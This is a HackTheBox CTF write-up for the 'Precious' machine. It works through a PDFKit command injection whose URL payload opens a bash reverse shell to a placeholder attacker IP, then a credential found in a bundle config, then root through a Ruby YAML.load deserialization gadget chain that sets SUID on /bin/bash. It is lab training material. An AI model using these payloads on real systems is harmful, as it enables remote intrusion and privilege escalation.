zerospl0it
  • CTF
    • Altered-Security
      • DART CTF
    • HackingHub
      • Vulnbegin
      • Vulnforum
      • Vulnlawyers
    • HackTheBox
      • Fortress
        • Akerva
        • Context
        • Jet
      • Machines
        • Bagel
        • BroScience
        • Derailed
        • Escape
        • Inject
        • Investigation
        • Mentor
        • Photobomb
        • Pollution
        • Precious
        • Soccer
        • Stocker
Powered by GitBook
On this page
  • Enumeration
  • Rustscan
  • Webpage
  • Dirsearch
  • Feroxbuster
  • Exploitation
  • Become User henry
  • Escalation
  • Local Enumeration
  • Privilege Escalation
  1. CTF
  2. HackTheBox
  3. Machines

Precious

Enumeration

First let's add precious.htb to /etc/hosts

Rustscan

mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a precious.htb -- -sV -sC -oA ./rust/{{ip}}
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 65000.
Open 10.129.77.196:22
Open 10.129.77.196:80

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port
Technology

80

NGINX + Phusion Passenger

Webpage

Using Burp we check our requests and can identify that Ruby is used!

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Connection: close
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Sun, 27 Nov 2022 19:02:41 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
Content-Length: 506

Dirsearch

Found nothing

Feroxbuster

Also no results

Exploitation

We'll use that POC to craft our payload and get a reverse shell

Payload

http://attacking.machine/?name=#{'%20`bash -c 'bash -i >& /dev/tcp/attacking-machine-ip/4000 0>&1'`'}

Become User henry

In /home/ruby/.bundle is a file located that is called config. In that file you will find the password of user henry

---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:CENSORED"

Become User henry

su - henry

Escalation

Local Enumeration

Always the first thing todo is to check for any sudo privileges

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Looks like we are allowed to update dependencies as root user. Smells like a ruby deserialization attack

/opt/update_dependencies.rb

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Privilege Escalation

dependencies.yaml

First we have to create the dependencies.yaml file in our current location and modify git_set to add suid on /bin/bash

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

Root

# Will throw some errors after execution
sudo /usr/bin/ruby /opt/update_dependencies.rb
# Check permissions on /bin/bash
ls -al /bin/bash
# -rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
# If bash has SUID bit set it does not drop the elevated privileges. So we will use that as planned 
/bin/bash -p
id
# uid=0(root) gid=0(root) groups=0(root)

Last updated 1 year ago

Phusion Passenger seems to be an extension to support various kinds of application type like ruby

Visiting will display a page that says "Convert Web Page to PDF". A quick check using a locally setup webserver showed that the page is exactly doing that.

Searching for Ruby and HTML to PDF vulnerabilities will lead you to

After submitting the malicious url on we will receive a reverse shell as user ruby

Checking the file we are allowed to run will confirm my assumption. YAML.load is extremely unsafe and shouldn't be used according to

We will use a Universal RCE for Ruby YAML.load -

https://en.wikipedia.org/wiki/Phusion_Passenger
http://precious.htb
PDFKIT - Command Injection
http://precious.htb
Ruby - YAML
YAML.load - RCE